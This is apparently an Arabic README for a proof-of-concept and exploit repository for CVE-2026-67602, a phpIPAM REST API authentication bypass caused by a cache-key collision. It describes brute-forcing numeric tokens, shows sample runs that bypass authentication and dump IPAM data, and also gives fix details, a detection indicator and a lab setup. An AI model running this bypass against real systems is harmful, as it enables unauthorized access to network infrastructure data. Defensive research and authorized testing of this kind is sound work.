
استغلال وإثبات المفهوم لـ CVE-2026-67602، وهو تجاوز للمصادقة في واجهة برمجة تطبيقات REST الخاصة بـ phpIPAM عبر تصادم مفاتيح في ذاكرة التخزين المؤقت للكائنات، بما في ذلك إثبات مفهوم على مستوى المنطق وسكربت استغلال عن بُعد.
تجاوز مصادقة غير مصادق عليه في REST API الخاص بـ phpIPAM، ناتج عن
تصادم في مفتاح ذاكرة التخزين المؤقت للكائنات: صف قاعدة البيانات المخزّن مؤقتًا أثناء حلّ app_id لتطبيق API
يحقق شرط فحص app_code (الرمز المميز) اللاحق كلما كان الرمز المورّد مساويًا لقيمة id الرقمية للصف. لا تتم مقارنة السر الحقيقي للتطبيق أبدًا.
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)app_security = ssl_coded29728f)| الملف | الغرض |
|---|---|
poc_cache_collision.php | PoC على مستوى المنطق. يشغّل تطبيقات fetch_object/cache_check/cache_write الحرفية المعرضة للخطر (v1.8.1) والمصلحة (1.8.2) مقابل قاعدة بيانات مُحاكاة ويعيد تشغيل تسلسل الجلب الدقيق لطلب HTTP واحد. لا حاجة لتثبيت phpIPAM. |
exploit.py | استغلال عن بُعد ضد مثيل phpIPAM < 1.8.2 حي: يعدّد app_id الصالحة (400 مقابل 401)، ويجرب الرمز الرقمي بالقوة الغاشمة (عادةً id 1-3)، ويقوم اختياريًا بتفريغ الأقسام/الشبكات الفرعية/VLANs/الأجهزة. |
docker-compose.yml | مختبر معرض للخطر: phpIPAM v1.8.1 + MariaDB، HTTP عادي مع IPAM_TRUST_X_FORWARDED=true بحيث يمكن اختبار تطبيقات ssl_code عبر ترويسة X-Forwarded-Proto. |
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client') -> row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id -> AUTHENTICATED
$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Response: 401 Unauthorized — token rejected
$ docker compose up -d
http://localhost:8080/، وتابع إلى المثبّت
(http://localhost:8080/install/)، واختر تثبيت قاعدة البيانات
التلقائي، مستخدم MySQL root / كلمة المرور phpipamAdminRoot.admin / admin)، وعيّن كلمة مرور مسؤول جديدة عند الطلب.app_id): clientشغّل الاستغلال (علامة --xfp تحقق شرط HTTPS عبر
X-Forwarded-Proto، الذي يثق به المختبر):
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Target: http://localhost:8080
[*] Brute-forcing numeric tokens (row ids) 1..64 for app_id='client'...
[+] AUTHENTICATION BYPASSED — phpipam-token: 1 is accepted
[+] The app's real 32-char app_code was never needed.
[+] GET /api/client/sections/ -> HTTP 200, 1 section(s) readable
[*] Dumping IPAM data...
d29728f).ssl_code (أوضاع
الأمان الأخرى غير متأثرة بتصادم ذاكرة التخزين المؤقت هذا)./api/<app_id>/...
تحمل ترويسة phpipam-token رقمية بحتة — الرموز الشرعية عبارة عن
سلاسل عشوائية من 32 حرفًا، لذا فإن الرموز الرقمية تُعد مؤشر اختراق عالي الدقة.هذا المستودع مخصص لأغراض البحث الدفاعي واختبار الاختراق المصرح به فقط. قم بتشغيله فقط ضد أنظمة تملكها أو لديك إذن كتابي لاختبارها.